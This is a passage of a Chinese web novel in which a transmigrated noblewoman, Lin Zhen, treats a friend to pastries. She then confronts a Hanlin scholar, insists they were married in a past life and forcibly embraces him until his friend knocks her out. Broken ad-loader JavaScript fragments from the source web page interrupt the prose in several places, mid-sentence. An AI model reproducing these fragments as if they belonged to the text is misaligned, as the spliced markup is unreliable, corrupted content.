林萃眼中顿时生出小星星。英国公府不缺吃穿,但松鹤楼是皇城最有名点心铺面,许多花样和口味英国公府里并不常做,一时间林萃口水都快流出来。 迈进沁院,林萃撒开腿跑向周姨娘住的西厢房,口中兴奋唤道:“阿娘,三姐姐要出门,会给我带松鹤楼的点心!” 林萃小雀儿般清脆的声音,把东西厢房里的人都唤了出来。 周姨娘抚着林萃肩膀,看着走进来的林蓁诧异道:“三姑娘不是刚出过门吗?这又要去哪儿?” 要知道这沁院里的人一年都难得出一趟门,出次门好比天大的事。 林蓁淡笑道:“前日去毅勇侯府认识了侯府女公子,我们颇谈得来,约着今日再聚”。 周姨娘眼中露出羡慕:“马上成亲了,还能结识这么好的闺蜜,三姑娘是有福之人”。周姨娘知道林蓁前日出门是去相看亲事,见林蓁回来后神态轻松,以为亲事稳了。她羡慕林蓁,若林萃亦能找到林蓁相看的亲家,她梦里都能笑醒。 林蓁微笑向周姨娘点头,她亦觉得自己颇有福运,能那么及时遇到飞飞。 看向目光有些懵懂的碧竹,林蓁对她道:“碧竹,下午你和我一起出去,去收拾件清爽的衣裳换上”。 碧竹是林蓁唯一的大丫鬟,她是家生子,父母跟在大房做事。碧竹小时高烧抽搐,病好后脑子有点不灵光,她若在其他主子面前服侍,只能做个粗使丫鬟,她母亲精心为她打算,把她送到林蓁跟前,只因林蓁的大丫鬟们心气高,不甘跟着一个姨娘都没有嫡母亦不喜的主子,走马灯似的前脚进后脚出,就碧竹稳稳呆了下来。 一个姑娘的院子里应有两名大丫鬟,但林蓁身边还跟着母亲唐氏带来的云娘,有了碧竹和云娘,林蓁后来拒了再派大丫鬟的安排,省得看着大丫鬟来来去去闹心。 此刻,碧竹惊喜道:“我也可以出门?” 云娘上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 前拉上碧竹胳膊往屋里走:“快去收拾,不仅自己收拾,还要给三姑娘收拾”。 待林蓁进了门,云娘上前掩住门扉,跟在林蓁身后小声道:“这么顺利?二太太就答应了?” 想嫁方怀简的心事,林蓁亲口告诉的人除了父亲,只有云娘。 云娘还是小丫头时跟着唐氏进了英国公府,如今已三十来岁妇人,她本叫喜云,不知何时起被林蓁唤作云娘,便成了林蓁心中的阿娘。云娘有自己身契,是唐氏病床前亲手给的她,但唐氏真过身了,沁院里林蓁孤苦伶仃,抱着云娘大腿不松手,云娘没狠下心走,就这么着和林蓁相伴至今。侥幸林若柏念云娘是唐氏旧人,对她尚好,吩咐过陈氏每月按姨娘待遇给付月钱,不足的他贴补。 云娘就盼着林蓁找个心遂的人家,她对得起她家小姐就可功成身退。在她看来,家风正的五品官嫡子可算得上良配,可不知为何林蓁回来说要嫁给方怀简。 她第一次听说方怀简,武将世家的榜眼郎,性情好模样好,总之林蓁把他夸得天上有地上无,但云娘就有奇怪的直觉,觉得并不是门好亲。本来林蓁今日去请示二太太时,云娘还猜想必然会被拦回来,没想到顺得让她觉似幻像,这更让她不安,因她知道林蓁并不想玩,她要去约会。 她着急得跟在林蓁身后追问,林蓁却是不慌不忙,笑嘻嘻转身,双手扶住云娘肩头,开心道:“就是很顺利,因着方公子是我的正缘,正缘来了,谁能挡得住?” “正缘?!”云娘吓了一跳,盯着林蓁眉眼仔细瞧着,她过去不是这般大胆性情,许多话闷在心里不爱说,总是云娘各种试探才慢慢吞吞说上那么一点点。 可她现在眼眸里仿若有星河,闪耀着从未见过的光彩,眼角似乎都翘上了几分,眉眼格外娇俏撩人,她的表情和身姿从未有过的轻松自在,仿佛今后全是花路,眼中尽是风景。 “是呀,云娘,你就等着享福吧!” “我不和你说了,我还有许多东西要准备”。 云娘想帮林蓁收拾准备些什么,却被她拦在外间。 她心里有些忐忑,站在外间不愿离开,耳边是内间林蓁哼着小曲儿的声音,还有窸窸窣窣不知道什么细细微微的响动。 这就是少女情窦初开的模样吧,浑身都散发着耀目光亮,云娘未有经历过,为林蓁高兴,又莫名惶惶。 陡然间,她忽然意识到惶惶从何而来,她的小姐唐婉莞曾经这般娇态真心爱重一位男子,可结果又怎样,最终因这位男子郁郁寡欢一尸两命,而他根本一无所知。 突然间心惊肉跳,云娘挥手想驱散开腾升跳入脑海里那些苦涩印记,可却无济于事,她紧捂住耳朵,逃似的跑出门。 * 丫鬟通报林蓁上门时,时姝正在园子里逗狗玩得不亦乐乎。 听完通报,她顿时呆住,有些六神无主。 她俩说过有空约着玩的话,可这样的话她几乎和来祝寿的每位女公子都说过,不过客套的淡话而已。母亲生气她和林蓁往来,要得知林蓁上门,还不知怎样发作。 再一想,林蓁和方怀简提过今日见面。林蓁,不会再拉上她作陪吧?她若再开口求她,她该怎么办啊。 啊啊啊,一时间时姝无比后悔没跟着母亲出门,去自家铺面转一圈,怎么着也得半天,便可毫无痕迹避开林蓁。 时姝干站着,不知所措。 丫鬟等了会,问:“姑娘,林三姑娘还等着呢”。 “嗯,让去花厅,我稍后去”,时姝气若游丝,腿脚酸软。 8. 第 8 章 一边担心母亲责骂,一边腹议自己不仗义,畏畏缩缩想躲着朋友的探望,时姝磨磨蹭蹭满心矛盾挪步到花厅。 站在窗棂前欣赏着园中春色,听到脚步声,林蓁转过身看去,时姝刚跨进门。 林蓁笑意盈盈看向时姝。 时姝眼睛闪了一瞬。 春光笼罩着林蓁,映照在她紫色襦裙上熠熠生光。 雪白肌肤透着健康的淡粉,琉璃般的眼眸仿若耀着光芒,像世上最耀目的宝石,眼角微翘带着一丝恰到好处的媚意,浅浅酒窝让笑容增添说不出的灵动。发上钗环宛若失了颜色,时姝压根没注意那些花簪样式。 就看着林蓁额前轻薄刘海随着微风有些颤动,那细细碎发微动,似小小刷子轻轻挠着时姝心房,舒服又有些心痒。 不过两日不见,她怎么更好看了呢。 时姝一时忘了刚才进门时所思所想,甜甜叫了声“林三姑娘”,好奇瞅着她。 林蓁对上她的目光,情不自禁摸了摸脸,问道:“我脸上怎么了?” 时姝直言不讳:“越来越好看了”。 林蓁笑出了声,对时姝道:“时姑娘,叫我林蓁好了。我今日来是特意来谢谢你”。 “那你也叫我时姝,或者姝儿”,时姝笑眯眯,又有些不解,“谢我什么?” “若不是你帮我,我和方怀简会错过”,林蓁一想到这种可能,心中微微抽搐。 “今天我要去见他,我一定会让他想起来”,林蓁笑得颇有自信,“只要他想起来,他就会娶我”。 “啊”,时姝被林蓁的直白惊倒。 她想过这种可能,但没想到林蓁这样淡定自若脱口而出。再看她的好颜色,忽然明白林蓁为何更好看了,想到这些,时姝的脸有些烫。 又想起自己担心的事,心下骤然忐忑。 林蓁似看穿时姝心思,笑道:“过去我常觉人生无意义,再见方怀简,我才知原是未碰见对的人”。 “既然碰见对的人,我先一步或者他先一步有什么关系,莫错过莫遗憾才是要紧”。 时姝听得瞠目结舌,母亲讲给她的道理、她读过的书都是女德女戒类似,林蓁是她见过最大胆之人。 林蓁道:“诗经上男子爱慕女子有之,女子爱慕男子有之,我们只觉美好,有人读诗经读出龌龊了么?” 这些话似乎很荒唐,又似乎不言而谕。时姝不由自主地想,自己的情郎若被别人抢走了,那她定然窝心。 一时又想自己怎会想这些乱七八糟的,时姝脸上红一阵白一阵,看得林蓁想捏一捏她的脸。 林蓁正色道:“我想感谢你,送你礼物,可我每月月钱有限,想来你也不缺金银,不如请你去松鹤楼吃点心,我从未去过,据说店里现做的好吃得紧。” 时姝赶紧摆手:“不用不用,我顺手之劳”。 “怎能不用,现在我只能请你吃点心”,林蓁道,“以后我成亲时请你坐主桌”。 时姝脸红得像她发间的玫瑰。 林蓁笑道:“你脸这么红,好似你要成亲”。 时姝伸手轻怕了下林蓁的胳膊,斥道:“不许笑我!” 两人商议去松鹤楼吃点心,时姝突然想到,松鹤楼离宫城很近,是方怀简每日去上值翰林院时必经之地。 可林蓁都请她吃点心了,陪她再去见方怀简也没什么,时姝与林蓁相谈甚欢,之前头秃的问题仿若烟消云散。 “吃完点心我陪你去见方二哥吧?” “谢谢你,不用,我和他一些事需要单独与他说”。 在林蓁没注意的地方,时姝的脸又红了,她小人之心度君子之腹,林蓁压根没有再麻烦她的意思,她却视她洪水猛兽。 吩咐管家备好马车,两人准备出门,林蓁问:“我的两个丫鬟待你府上可行?” 时姝明白,连忙道:“没问题,等我回来遣人送她们回去”。 当下两人上了各自马车,时姝除了一个丫鬟还有两个护卫跟随,跟在英国公府马车后面。 马车缓缓驶出毅勇侯府,刚拐了个弯驶上城中大道,便忽的停下来。 时姝向着车窗,问随车的护卫:“怎么了?” 护卫道:“碰上大公子了”。 心脏似忽的停了一瞬,时姝莫名心虚,还未调整好心态,窗帘忽的被掀开,映出时彦一张脸。 “姝儿这是去哪儿?” “去松鹤楼吃点心”。 不知是光影原因,还是自己心理作用,时姝觉得时彦眼神变得深邃。 “你一个人去?” 时姝爱好玩乐,但很少独自出行,她喜欢有人陪伴,时彦察觉哪里不对劲。 时姝手指向前虚虚指了指,声音弱弱的:“林蓁邀我”。 时彦猛地转头,认出前面行驶中的马车上英国公府的标识。 注视着林蓁的马车渐渐远去,他微微抿紧了唇。 男主都未出场,林蓁怎么就缠上时姝了? “哥哥,就是吃个点心,让我去嘛”,时姝小声央求。 时彦视线回转,问道:“不是去见方怀简?” “我见方二哥做什么”。 时彦向长随长庚招手。长庚是母亲谢氏陪房夫妇的长子,和父母一样识字,这几年时彦刻意培养,已是他左膀右臂。 “跟着姑娘去松鹤楼”,时彦嘱咐,“那里人多手杂,跟着姑娘寸步不离,不要有任何闪失,待姑娘吃了点心就回来”。 时姝不解地看了时彦一眼,吃个点心而已,长庚怎么都跟上了。不过她本以为哥哥不允她去,她还想着据理力争,这个结果已然很好。时姝从时彦手中掰开窗帘,马车内光线即刻暗淡,窗帘上映着时彦的影子。 “长庚跟着,哥哥大可放心,我吃了点心就回”。 时彦目送马车离开。 他今日请假提早下值,原是刚刚盘下一个药材铺面,约好今日交接。虽然谢氏在他指点下巡视铺面已颇有经验,但交接之事他仍会亲自到场。 当下时彦回府,更衣换了常服准备出发。路过花厅时,眼角余光察觉两张陌生面孔。 时彦问管家:“那是新进的丫头?” 管家如实回答:“是林三姑娘的两个丫鬟,姑娘带了玉燕出门,这两个林三姑娘留在府里”。 时彦颔首。 林蓁确如书中所述,心思慎密,善借力而为,偏偏不用于正道,自家妹妹单纯被利用后还感恩戴德,就差没发好人牌。 不由又思忖起娶林蓁的谋划,他和母亲不可能整日守在府里,若不把林蓁早日娶进门黯灭她各种心思,现下三天两头她上门滋事,影响时姝口碑可不妙。 * 松鹤楼是皇城最知名点心铺面,是一座五层雕梁画栋飞阁流丹的建筑。一楼是现做现卖各种点心,往上四层是各种大大小小装饰得富丽堂皇雅厅,还有乐师歌姬供客人会友商谈。生意不分四季,始终兴隆鼎盛。 马车甫一停下,浓郁香味扑鼻而来,顿时让人口舌生津。 林蓁和时姝在一楼闲看挑选,各式各样点心,粉的绿的白的黑的,蒸的炸的煮的煎的,眼花缭乱目不暇接。 林蓁让时姝点自己爱吃的,自己问小二各种点心口味,不假思索点了许多。 “哎呀,我们吃不了这么多!”时姝提醒。 “吃点点心穷不了我”,林蓁大大方方,“没事,吃不完我带回去”。 选了心仪点心,两人上楼来到 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一间雅厅,已有歌姬乐师怀抱乐器隔着一层轻纱候着,见客人进门,琴声如叮咚清泉,缓缓在屋内流淌开来,歌姬嗓音如天籁之声,让林蓁顿时想到绕梁三日的成语,原来世上真有让人不能忘怀之音,不愧是松鹤楼。 “这里不错,不辜负我一番感谢你的心意”。 当下二人欣赏着琴音,吃着点心闲聊起来。 林蓁吃得很仔细。她知道飞飞的口味,选了许多看上去飞飞爱吃的点心,这会儿仔细品味,打算待会儿给飞飞带些去。 一些点心口味与曾经时空几近无差,林蓁尝到不免感慨:“这些点心,让我想起以前,我和方怀简都很爱吃”。 “那你带些给他尝尝”。 “正有此意”。 想到林蓁一直说和方怀简很熟,时姝好奇问:“你们以前一齐做过什么呢?” “很多”,林蓁抬眸望向虚空,和飞飞一起四年大学时光一幕幕如电影般浮现。 “我们一起学习,虽然我们学的不一样,但常常交流学习方法和感悟”。 “那你学的什么呀?”时姝知道女子可以上学,但她没去过学堂,母亲谢氏请了女先生专门教她。 “律法”,林蓁笑笑,“不过没啥用”。 “这么厉害?!”时姝惊叹得合不拢嘴,她猜想林蓁或许学学经史子集了解一些历史掌故,没想到这么细致。她只在哥哥书房看到过大周律法书籍,一排排厚得像砖块,她看了目录就犯晕。 “能学得进去?不是很枯燥么?” 林蓁回想自己背法条的那些日子,的确枯燥,可当这些法条变成可以让人生让人死让人高兴让人释怀的工具时,它就像有巨大魔力的武器,如此生动让她爱不释手。 她挑了个父母双亡兄弟争产丢命的法制故事讲给时姝听。时姝听得认真,似有感悟:“那我父母百年后,岂不是哥哥二哥得早做分家打算,以免兄弟阋墙?” 林蓁笑道:“于法如此,于情未必”。 两人说说笑笑间,暮色渐至。 长庚在门外提醒回府时间,时姝问林蓁:“真不要我陪吗?” 林蓁笑着拒绝,把打包好的点心托付给时姝,让带给自家车夫:“让他等我一等,我过会儿去找他”。 将要开门时林蓁忽而转身,她带着浅笑,对时姝柔声道:“时姝,和你在一起真开心,不过,在我成亲前我不会再来找你”。 时姝讶异:“为什么?” “大家都笑话我名声不好,我不想带累你。等我和方怀简成亲后,我们再约着玩”。 心中顿时泛起酸胀,时姝以为林蓁不在乎名声,原来她很在意朋友的名声,一时间想安慰也说不出什么,只道:“我祝你和方二哥佳偶早成,我天天在家拜祭月老”。 林蓁哈哈一笑:“别让家人误认你思春即可”。 时姝红着脸捶了她一拳。 两人在松鹤楼前分别。时姝看着林蓁背影怅然若失。 她骨清纤柔,步态轻盈似春风拂水,连背影都那么美,这样的人这么美好,便是从不认识也会看上她的第一眼心生爱慕吧。 林蓁不疾不徐来到宫门口,避在一棵大树下远远观察着宫门里下值回家的官员。 小弟已帮她打听清楚方怀简下值时间和地点。她亦相信飞飞人品,不会食言故意躲避她。 等了没多久,远远看着方怀简身着翰林绛红官袍走出宫门,夕阳映照下,他器宇轩昂,轩然霞举。 心砰砰急跳,林蓁赶忙绕过树干,迎向方怀简。 一只粗大胳膊忽的拦在林蓁面前,林蓁差点撞上,吓了一跳。 抬眸看去。 时隽斜睨着眼睛,粗声粗气:“远观不可近瞻”。 9. 第 9 章 那日方怀简迫于无奈应下和林蓁再见,既未约定时间也没说清地点,就轻飘飘一句话。事后方怀简并不肯定林蓁会再来找他,但想到她都能当众扯他衣袖,大庭广众下死攥着不放手,方怀简心有余悸。 防患未然,那晚离开毅勇侯府时,方怀简和时隽说好,让时隽陪他一日,万一有事也有个说得上话的人证。时隽今日特意告假一整日,一大早去方府与方怀简同去翰林院,傍晚时候又在宫门口等他同归。 方怀简下值时心有忐忑,站在宫门口搜寻时隽身影,目光所及并无林蓁人影,他略略轻松。再看远处长街对面一青年魁伟健硕,不是时隽又是谁,兴匆匆往时隽方向迈了两步,才发现时隽高头大马身后,还有个人影,紫色裙琚飘飞,不看人脸方怀简也知道是谁。 脚步顿时慢了下来,腿上似乎一瞬间挂上铁砣。 这边林蓁被时隽拦下,以为时隽不让她近身飞飞,他是年轻力壮的武夫,林蓁物理上对他毫无办法,正想着如何应付,见方怀简慢慢往这边走来,林蓁没再和时隽啰嗦,静静站在时隽身后翘首以盼。 方怀简慢慢走近二人,就见林蓁目若悬珠,顾盼神飞,满眼满脸都是欣喜神采。 自己这张脸虽然尚可,也不至于如此痴态,方怀简垂眸避开林蓁炽灼目光。 “世之!” 柔媚亲昵的称呼径入双耳,方怀简瞳孔地震,他情不自禁抬眸看去。 林蓁毫无忸怩之态,仿佛自己的字她已唤了无数遍,那语气那神态就如倚门望穿秋水等着夫归春情满怀的妇人。 方怀简尚未开口,林蓁亢奋道:“我有好多话对你说”。 方怀简努力克制各种情绪,避免面上出现不该有的色彩。他在林蓁面前站定,中间隔着时隽,一个很安全的距离。 微微躬身向林蓁作揖。 “林三姑娘,在前日之前,敝人确实从未见过姑娘,不仅敝人,敝人家人、仆役亦从未听说过姑娘名讳”。 方怀简回府后,为防纰漏,曾旁敲侧击向家人和仆妇打探,得出结论他和林蓁从无瓜葛。那林蓁这般行态,所求为何一目了然。 “敝人和家人印象,断无差错,姑娘以后可别处再寻你的朋友,莫在敝人处误了时光,耽误线索”。 方怀简自觉此话已然十分到位,只要不是傻子,都明白他的意思。可林蓁没什么反应,目光灼灼盯着自己,笑容渐渐淡下,嘴唇倔强抿紧,力量之大以至于唇珠微微翘起些弧度。 被倾慕之人拒绝,想来确实难受,但方怀简只能做到如此,见林蓁表情有异,方怀简再给她递梯子。 “林三姑娘,世上有许多相似之人,想来真是认错了”。 正常人听到这话总该借坡下驴,这已是双方都得体面友好了结的最佳方式,方怀简等着林蓁回应。 林蓁长吸了口气,吐息之间,脸上又神采奕奕起来,她柔声问:“世之,你话都说完了?那该我说了罢?” 她声色表情让方怀简觉得自己说的都是废话,她一句也没进耳,方怀简不禁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有些警觉,回道:“你,要说什么?” 林蓁看着方怀简,抬手指着时隽:“能不能让他走开?” 林蓁若不是姑娘,时隽早把她撂倒,还要再狠狠踹上几脚,让她记得牢牢的,什么人她不能招惹!也就方怀简端着仁人君子的礼数,还要与她再见说清楚。此刻一听此话,时隽当即炸锅,暴躁道:“什么话不敢我听?我和世之穿一条裤子长大,他的事我都能听!” 可林蓁一个眼神未给时隽,对方怀简解释:“有些话,只能单独说”。 怕是一些少女心思,的确不便在第三人面前开口,方怀简想了想,问道:“说完就了了么?” 林蓁颔首。 方怀简以前也遇到过佳人羞涩倾吐衷肠,理解少女青涩情愫,想来回避时隽,只要待林蓁说完,他直截了当拒绝,这事终就了了。 他看向时隽:“你往那边走两步?” 时隽气得眼珠子都要瞪出来,特意告假一整日他来这儿干嘛来着,怎么方怀简记打不记痛,他质问道:“我不能听?你不怕——” “有言在先,你若像上次那般,我须眉男儿不怕撕破脸难看”。 方怀简对林蓁肃色明言,时隽想说的话才强咽了回去。丑话已先说,到时别怪他动手,他可不是什么怜香惜玉之人。 林蓁点头,时隽正要挪步,林蓁指指不远处看似清净阒无一人小巷,对方怀简道:“我们去那儿说”。 时隽顿觉肺要炸了,他不走了,他就要看看林蓁玩什么花招! 10. 第 10 章 三人所处位置虽离宫门较远,但这会儿正是下值时刻,官员们三三两两走出,若是刻意看过来,那三人行径纤毫毕现。考虑这些,方怀简点点头,往那清净小巷走去。 林蓁紧跟在他身后,心情高兴得像春日游戏花间的彩蝶,飞飞这样的花蜜在等着自己品尝,她的身心都像蝴蝶般轻盈飘飞。 方怀简虽肃然一张脸,但他不仅守诺见面,还对自己请求一一答应,即便脸色紧绷,但此刻他没有记忆,从小到大学的都是君子之道,是完完全全古代君子典范,林蓁无比理解此时飞飞,他能这般待自己她已经雀跃得要命。 时隽虎着一张脸,也紧随不让。 走到巷口,方怀简停住脚步,转身对身后时隽道:“仲敏,你在这儿帮看着”,方怀简手指前方,“我就在前面几步”。 时隽脸上颜色这才缓了缓,到底是世之,无比懂自己。 他根本不屑听什么,他多次见过丽人娇娘在方怀简面前满脸羞红说话,无非倾慕景仰那些绵绵软语,林蓁难道才高咏絮,比那些满腹诗书的高门贵女还厉害,能说出朵花来。 林蓁不脸红,他都替她红!他才懒得听她那些浑话,只关心方怀简不要被她占了便宜,被人看到如沾一身腥臭。如今他站在巷口,就如铁桶一般,苍蝇都别想飞进来。 方怀简再往巷子里走了几步,停下来等林蓁。林蓁还想往里走,方怀简道:“他不会听”。 林蓁便依了方怀简,面向他站定,眼笑眉舒地看着他。 虽然他现在不记得,但在林蓁眼中,方怀简就是她在沙漠中看到绿洲,落水时看到船帆,她在这里黯淡十几年,终于找到光亮的出口。 怎能不高兴不雀跃呢,林蓁的每一个毛孔都是兴奋和喜悦。 “世之,我很想你,我天天都梦见你”。 已被林蓁看得心里发毛,方怀简此时更是心中一震! 这辈子他遇到的空前绝后的女子应该就是她了! “你要和我说的就是这个?”方怀简忍着脾气,咀嚼着要回绝林蓁的话。 “不是不是”,林蓁摆手。 方怀简这才注意她手中攥着一个紫色绣袋,里面鼓鼓囊囊装着什么。 见方怀简看着自己手中绣袋,林蓁把绣袋拉开递到他面前,柔声道:“世之,这是我在松鹤楼给你挑的点心,都是你以前喜欢的口味”。 林蓁把绣袋捧到靠近方怀简胸口位置,他不得不扫了一眼袋中物什。 “是你喜欢的吗?你现在口味变了吗?” 方怀简意外,里面点心确实是他常吃的口味。这么短的时间,她连他的喜好都打听清楚了? “这个绣袋我特意选的紫色,今日我亦穿的紫色”,林蓁摸摸发间紫玉金簪,“我的发簪也是紫色,因为紫色是你最喜欢的颜色”。 震惊无以复加,口味偏好能打听,但方怀简对紫色的偏好,他回忆,似乎没对任何人提及,他爱朱紫金紫类似颜色,只有和他极其亲近熟悉之人才知道,这些人万不可能和他人提及这些。 见方怀简有些凝滞,林蓁猜测他的习惯未变,心中欢喜和希翼陡然猛增,她把绣袋重新系好不由分说塞在方怀简手上,高兴道:“你一定奇怪我怎会知道,你别惊讶,听我慢慢说”。 方怀简愣怔接过,好奇她要说的话。 林蓁尽量用古人能理解的方式表述,这两天她已经腹稿无数遍。 “佛教轮回之说中有三生三世,你我前世为夫妻”。 以为林蓁要说出什么高论,却是以轮回之说引出夫妻缘分,方怀简心下不禁失笑,林蓁倒是不走寻常路,亏她费尽心机别出心裁想出这一招,和往常那些美人倾心确是迥然不同。 方怀简双手抱臂,耐心听她讲。 “前世里,我为俞安琪,你是聂振飞,我们因求学结识,同窗四年相亲相爱,学成时我们成亲,不料当日我俩与车相撞失去意识”。 林蓁声音低沉了一瞬,但很快恢复了柔媚。 “等我再有意识时,我已脱胎到英国公府,我现在的模样亦和前世不一样,但世之,你一点儿没变,我才能认出你”。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “世之,我真没有想到,此生还能再见你,再见你时你未婚我未嫁,你不知我前日见你时多么欢喜多么震骇!我们能重新在一起,一起实现我们前世未完成的那么多心愿,我真的好开心!” 林蓁眼里闪着光亮,脸颊因激动有点儿红绯,却不是害羞的红,听到这里,方怀简不太想继续听下去,左右最终目的和以前那些绕着他转的女子没什么不同,他垂眸,酝酿已久的话就在嘴边。 “你看这个!”林蓁从自己袖中取出一张卷为轴状的画纸。 “你看看!”林蓁双手把画纸递上,“我画的,前世的我们!” 那画纸都快贴到方怀简脸上,他无奈接过,拿在手中微微一抖,画纸缓缓舒展,现出一对青年男女模样。 只看一眼,方怀简脸色陡变得涨红,他一把把画纸攥回成轴,声线峻厉地诘问林蓁:“这都是些什么!” 林蓁颇觉无辜,她的画上是她和飞飞前世模样,考虑方怀简古人感受,衣着都按照如今朝代式样描绘,方怀简怎么就涨红成如此这般。 “这是我们前世模样”,林蓁再强调一遍。 她的话方怀简没听进一个字,脑海里浮现刚刚看到的画中情形。他背倚着一棵大树坐在草地上,怀中有一陌生女子,两人亲密无间,他双手交覆在女子胸前,紧紧搂着她,神色轻松自在! 仅仅想一想他就头皮发麻!皮肤发紧! 想一把撕烂了这画纸,但想到这离宫门太近,碎片若无意中被谁拾到,那结果亦不堪设想。 想来想去,他忍着心中怒意对林蓁道:“这画儿我带走”。 “好啊!”林蓁高兴道,“我本就想送你,还担心你不要呢。你闲时多看看,或许不久就能够想起以往”。 林蓁解释:“我也不是出生就有这样的记忆,是年岁大了慢慢回想起”。 说话间,林蓁露出难得羞态:“我父亲已托了中间人,近日会去方府探访,说说我们的事”。 “老天!”方怀简惊愕得发不出声,她怕是连生几个娃,娃的名字都想好了罢! 11. 第 11 章 “不是”,方怀简本已想好措辞,此刻觉得远远不够,他必须打破她的执念,让她明白何为虚妄。 “你是俞——”他想不起来她另外名字。 “俞安琪,你叫我安安”,见方怀简有兴趣了解往事,林蓁音色都亮了几分。 “你夫君是聂——” “聂振飞,就是你的名字,家人都叫你飞飞”。 “嗯”,方怀简颔首,语气甚为凝肃,“佛学有轮回之说,但,于我所见所触,我并不相信此说。且不说我不信,便真有轮回,前世之事前世了,你怎知我愿意做回聂公子,而不是更愿意做方怀简,体味不一样的人生?” 林蓁晶亮的目光暗淡了一瞬,方怀简的话她竟无可辩驳,不过她怎甘放弃,只是心绪难免被影响,语气明显弱了些,没什么底气:“不是这样的,世之,如果你想起来,你就不会这样说,你只是不记得了”。 “而且”,方怀简质问,“你怎能让人去我——” “我明白!”林蓁打断方怀简的话,泪水在眼眶边转了又转。 不难过,不难过,林蓁不断给自己鼓劲,飞飞说的没错,但他只是不记得,等他想起来他一定后悔不迭给她赔不是。 林蓁咬着唇,红润如樱的唇被咬得发白:“你是不是觉得我唐突,我饥渴,我,有点疯?” 事到如今,方怀简已明了林蓁脑回路非寻常女子,但这些词突的蹦进耳膜,他内心仍是狂骇不已。她确实如此,她倒有点自知之明,不过,她不是有点疯,方怀简暗想,她是很疯。 可他如何回答呢。 林蓁一脸无辜,眼中盈盈泪光,努力控制眼泪不掉落出来,可她眼中红的分明的血丝,润湿的睫羽,有几根还黏在眼睑上,那微微颤动的嘴唇,都在无声诉说她的委屈。楚楚可怜模样方怀简有些不忍心看,仿佛自己真做了什么不堪屈枉了她,明明自己才是占理一方。 可偏偏她就有如此本事,把无稽之谈描绘得如太阳每日东升一般,质疑她如同怀疑的是众所周知的共识,让方怀简莫名觉得有愧。 见方怀简回避自己目光并不作答,林蓁道:“前世之事确实匪夷所思,难以置信,可我说的都是千真万确。只要来日你能想起来一丁点儿,你就会改变现在的想法”。 林蓁话音已带有哭腔:“世之,世间机缘,时不我与,我不想我们再次重逢的现在,因你暂时失忆留下永久遗憾,让你以后恨我还不够疯!” 林蓁句句发自肺腑,方怀简根本不敢看林蓁眼睛,她陷在她所编织的故事中不可自拔,完全没有想清醒的主观意愿。此刻,方怀简想的不是拒绝,过去他拒绝了那么多次的经验在林蓁这儿毫无用处,他看着不远处的墙根,想着如何让林蓁醒悟。 “你为何不敢看我?你其实有点儿信是不是?” 林蓁站在方怀简面前,步步紧逼。 “我没有不敢看你”,方怀简无奈对上林蓁目光,他只是看到她泪汪汪模样心生惭愧,毕竟爱慕一个人有什么错呢,编织一个荒谬的梦无非是让这份爱慕看起来更顺理成章一些。 可他总不能看她哭得可怜就娶她吧。 两个人静静地看着彼此。 方怀简满腹心思,林蓁幻梦天马行空,如何摆脱? 第一次赤裸裸明晃晃看着林蓁,方怀简目光深邃,沉思中思绪不经意间偏离了方向。 他不由得感叹,老天真是偏心,会给人这般好相貌,眸若春水含烟,面似芙蓉带露,眼角微翘像个小勾子,若她不是这么疯,若她出身——方怀简突的打断自己的想法,他怎会看到一张女子面庞就莫名多这些遐思,这和登徒子何异!他不是见色起意之人,这不是他一贯所为。 正为自己胡思乱想而愧恼,就见林蓁目若秋水,柔柔唤了一声:“飞飞!” 声音又软又媚,此刻林蓁宛若话本中魅惑的妖女,又像修炼媚术的狐狸精,要从方怀简的肉身中唤出她的情郎。 方怀简有些懵,女妖中的翘楚妖媚袅绕的状貌顷刻间在他眼中有了具象。 下一刻,林蓁一个箭步疾雷不及掩耳之势向他扑了上来! 一阵幽香拂面,温香软玉在怀,方怀简如同中了迷魂药,又若被施了迷障法,当即大脑空白,双腿发软,一时灵魂都出了七窍! 等魂魄回身,方怀简感知自己并没有被谁夺舍,他还是他本人,神智逐渐恢复,才发现被林蓁逼到了墙根,自己背靠院墙退无可退。 只是此时脖梗被她白玉般双臂紧紧环绕,身体像被菟丝花纠缠计无所施…… 当下已是暮春,衣裳单薄,林蓁贴在方怀简胸前严丝合缝,那柔若无骨身子骨儿,那热乎温暖的体温……方怀简感触丝丝分明,她似乎还想亲吻自己,意识到林蓁的动作,方怀简顿时骇然,迅即高高扬起脖梗,可仍能感触林蓁的唇柔软滚烫,在自己喉结附近蹭来蹭去,所经之处留下不知是泪还是什么液体,凉飕飕的。 他已然大汗淋漓,心乱得快蹦出胸口,血液沸腾灼烧着每一寸肌肤,手脚不知在哪儿,喉咙干涸得说不出话。 头晕目眩中方怀简快站不稳了,残存的一丝清醒让他看向巷口。 林蓁就觉身后起了一阵风,随即肩上一阵剧痛,骨骼瞬间似乎化为齑粉,她疼得流下眼泪,轻“啊”了一声骤然失去意识。 缠在自己身上的林蓁陡然倒下,方怀简躯体僵直,待回神想搂住林蓁时,时隽已接过林蓁,将昏迷的她放在地上。 “你没事吧”,时隽看向方怀简,他惊魂未定,满脸通红,仍在愣神,手上还拿着什么东西。 “你拿的什么?怎么不推开她?” 林蓁之大胆,时隽前所未见,他不理解,都这样了,方怀简还攥着手里的东西不放,拳头白长的么。他功夫虽比不上自己,但武将世家自小练过基本功,对付林蓁就如大象对蚂蚁,不知为何狼狈如此。 而且往常他在各种燕瘦环肥面前波澜不惊,怎么今日这样。 方怀简看看手中画纸,赶紧塞进袖中:“没什么,一张画,别看了”。 时隽没多问,林蓁都能这样,那画上是什么,可想而知。 方怀简走到林蓁前,目光看向巷口,身体挡在了巷口和林蓁之间。 “林三姑娘?”方怀简轻唤。 见林蓁躺在地上毫无动静,方怀简弯下腰细看,她脸色有些泛白,羽睫上还挂着泪珠,方怀简的心不由自主揪成一团。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >方怀简担心地问时隽:“你伤她了?她怎样?这如何收场?” “放心,我有数”,时隽随手拉起林蓁左手,手指于林蓁手腕处一阵猛捏。 